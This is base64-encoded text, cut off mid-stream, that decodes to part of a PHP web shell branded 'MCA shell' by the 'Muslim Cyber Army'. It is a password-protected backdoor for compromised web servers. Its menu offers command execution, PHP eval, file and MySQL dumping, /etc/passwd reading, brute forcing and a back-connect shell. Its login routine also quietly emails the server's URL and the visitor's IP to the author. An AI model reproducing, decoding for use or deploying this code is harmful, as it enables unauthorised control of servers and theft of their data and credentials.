CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTIiKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQokdGltZXN0YW1wID0gdGltZSgpOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7DQoJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9Jy4kc2VsZi4nIj4nKTsNCglwKCc8Ym9keSBiYWNrZ3JvdW5kPWJsYWNrPicpOw0KCWV4aXQ7DQp9DQppZigkYWRtaW5bJ2NoZWNrJ10pIHsNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICRwYXNzd29yZCkgew0KCQkJc2Nvb2tpZSgndmJhcGFzcycsICRwYXNzd29yZCk7DQoNCi8vIEZ1bmN0aW9uIG1haWwgU2VuZGVyIHRvIG15IEVtYWlsIC0gUGxlYXNlIHJlbW92ZSB0aGlzIGJlZm9yZSB5b3UgdXNpbmcgdGhpcyBzaGVsbCBjb2RlDQokdGltZV9zaGVsbCA9ICIiLmRhdGUoImQvbS9ZIC0gSDppOnMiKS4iIjsNCiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiRmcm9tX3NoZWxsY29kZSA9ICdzaGVsbEAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLicnOw0KJHRvX2VtYWlsID0gJ21haG11ZHVsMDA2QGdtYWlsLmNvbSc7DQokc2VydmVyX21haWwgPSAiIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iICAtICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOw0KJGxpbmtjciA9ICJMaW5rOiAiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiIiLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiIgLSBJUCBFeGN1dGluZzogJGlwX3JlbW90ZSAtIFRpbWU6ICR0aW1lX3NoZWxsIjsNCiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOw0KQG1haWwoJHRvX2VtYWlsLCAkc2VydmVyX21haWwsICRsaW5rY3IsICRoZWFkZXIpOw0KCQkJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMjtVUkw9Jy4kc2VsZi4nIj4nKTsNCgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+DQo8QlI+PEJSPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+V2VsbGNvbWViYWNrICAtIFBsZWFzZSB3YWl0Li4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsNCgkJCWV4aXQ7DQoJCX0NCg0KCWVsc2UNCgl7DQoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMEUwRTBFIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOw0KZWNobyAkZXJyX21lc3M7DQoJfX0NCglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgew0KCQlpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgew0KCQkJbG9naW5wYWdlKCk7DQoJCX0NCgl9IGVsc2Ugew0KCQlsb2dpbnBhZ2UoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokZXJybXNnID0gJyc7DQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCg0KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gTXlzcWwNCmlmKCRkb2luZz09J215c3FsZG93bicpew0KCWlmICghJGRibmFtZSkgew0KCQkkZXJybXNnID0gJ1BsZWFzZSBpbnB1dCBkYm5hbWUnOw0KCX0gZWxzZSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCWlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgew0KCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCgkJfSBlbHNlIHsNCgkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUnKTsiKTsNCgkJCWlmKCEkcmVzdWx0KXsNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQoJCQkJcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQoJCQkJLy9Eb3dubG9hZCBTUUwNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOw0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoJCQl9DQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJaWYgKCEkcm93KSB7DQoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KDQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPHRpdGxlPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCcuOjotLS1bTUNBIHNoZWxsXS0tLTo6LicpOz8+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRke2ZvbnQ6IDEwcHQgVGFob21hO2NvbG9yOmdyYXk7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXNpemU6OHB0O30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0Kc2VsZWN0DQp7DQoJZm9udC1zaXplOiA4cHQ7DQoJZm9udC13ZWlnaHQ6IG5vcm1hbDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KfQ0KDQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly9pMzgyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvb28yNjMvdm5oYWNrZXIvYmctMS5qcGc+DQoNCg0KPGRpdiBib3JkZXI9IjAiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMjVweDsgei1pbmRleDogMTsgdG9wOiAzMDBweDsgbGVmdDogMDsiIGlkPSJsb2FkaW5nIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249ImNlbnRlciI+DQoJCQkJPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjExMHB4IiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzAwMzMwMCI+DQoJCQkJCTx0cj4NCg0KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+DQoJCQkJIDxkaXYgYm9yZGVyPSIxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzBFMEUwRTsgZmlsdGVyOiBhbHBoYShvcGFjaXR5PTcwKTsgb3BhY2l0eTogLjc7IHdpZHRoOiAxMTBweDsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyIgYm9yZGVyY29sb3I9IiMwMDY2MDAiICBhbGlnbj0iY2VudGVyIj4NCgkJCQkgICBMb2FkaW5nPGltZyBzcmM9Imh0dHA6Ly9pMzgyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvb28yNjMvdm5oYWNrZXIvbG9hZGluZy5naWYiPg0KCQkJCSAgPC9kaXY+DQoJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQk8L3RhYmxlPg0KCQkJIDwvZGl2Pg0KDQogPHNjcmlwdD4NCiB2YXIgbGQ9KGRvY3VtZW50LmFsbCk7DQogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOw0KIHZhciBuczY9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQmJiFkb2N1bWVudC5hbGw7DQogdmFyIGllND1kb2N1bWVudC5hbGw7DQogIGlmIChuczQpDQogCWxkPWRvY3VtZW50LmxvYWRpbmc7DQogZWxzZSBpZiAobnM2KQ0KIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOw0KIGVsc2UgaWYgKGllNCkNCiAJbGQ9ZG9jdW1lbnQuYWxsLmxvYWRpbmcuc3R5bGU7DQogIGZ1bmN0aW9uIGluaXQoKQ0KIHsNCiBpZihuczQpe2xkLnZpc2liaWxpdHk9ImhpZGRlbiI7fQ0KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsNCiB9DQogPC9zY3JpcHQ+DQoNCg0KDQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+DQoJCTx0ZCAgd2lkdGg9MTAwJT4NCgkJPHRhYmxlIHdpZHRoPTEwMCU+PHRyIGNsYXNzPSJoZWFkX3NtYWxsIj48dGQgIHdpZHRoPTg2cHg+PGEgdGl0bGU9IlZOIGhhY2tlciIgaHJlZj0iPD9waHAgJHNlbGY7Pz4iPjxpbWcgc3JjPWh0dHA6Ly9zMTMucG9zdGltZy5vcmcvNW1wZmpzaGdqL21jYS5wbmcgaGVpZ2h0PTg2IGJvcmRlcj0wPjwvYT48L3RkPjx0ZD4NCgkJPHNwYW4gc3R5bGU9ImZsb2F0OmxlZnQ7Ij4gPD9waHAgZWNobyAiSG9zdG5hbWU6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+ICB8IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9ncm91cHMvTXVzbGltQ3liZXJBcm15Nzg2LyIgdGFyZ2V0PSJfYmxhbmsiPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCcuOjpbIEJpbGxHYXRlIC0gTXVzbGltIEN5YmVyIEFybXkgXTo6LicpOz8+IDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPjxmb250IGNvbG9yPXJlZD5Mb2dvdXQ8L2ZvbnQ+PC9hPjwvc3Bhbj4gPGJyIC8+DQoNCgkJPD9waHANCgkJJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCgkJJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQoJCSRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCgkJJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQoNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiAtICI7DQoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7DQoJCWVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOyB9DQplY2hvICJNU1NRTDogPGI+IjsNCiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsNCmlmKCRtc3NxbF9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30NCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+PEJSPiI7fQ0KDQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPjxCUj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5TZXJ2ZXI8L2ZvbnQ+OiAiLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIi5AZ2V0bXl1aWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSAtIHVpZD0iLkBnZXRteXVpZCgpLiIgKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSBnaWQ9Ii5AZ2V0bXlnaWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKTxicj4iOw0KCQk/Pg0KCQk8L3RkPjwvdHI+PC90YWJsZT48L3RkPg0KDQoJPC90cj4NCgk8dHIgY2xhc3M9ImFsdDEiPg0KCQk8dGQgIHdpZHRoPTEwJT48c3BhbiBzdHlsZT0iZmxvYXQ6bGVmdDsiPltTZXJ2ZXIgSVA6IDw/cGhwIGVjaG8gIjxmb250IGNvbG9yPXllbGxvdz4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiI8L2ZvbnQ+Ijs/PiAtIFlvdXIgSVA6IDw/cGhwIGVjaG8gIjxmb250IGNvbG9yPXllbGxvdz4iLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiI8L2ZvbnQ+Ijs/Pl0gPC9zcGFuPiAgIDxiciAvPg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnIgLz4NCgkJCQ0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZmlsZScpOyI+RmlsZSBNYW5hZ2VyPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxhZG1pbicpOyI+TXlTUUwgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzaGVsbCcpOyI+RXhlY3V0ZSBDb21tYW5kPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdwaHBlbnYnKTsiPlBIUCBWYXJpYWJsZTwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4NCg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXRjcHdkJyk7Ij4vZXRjL3Bhc3N3ZDwvYT4gPD9waHAgfT8+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYmFja2Nvbm5lY3QnKTsiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4NCg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxNSIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+DQo8P3BocA0KDQpmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidnb2FjdGlvbicpKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQoNCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsNCg0KLy8gRGlyIGZ1bmN0aW9uDQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQoJJGRpciA9ICRkaXIuJy8nOw0KfQ0KJHVlZGlyID0gdWUoJGRpcik7DQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoJLy8gTm9uLXdyaXRlYWJsZQ0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzs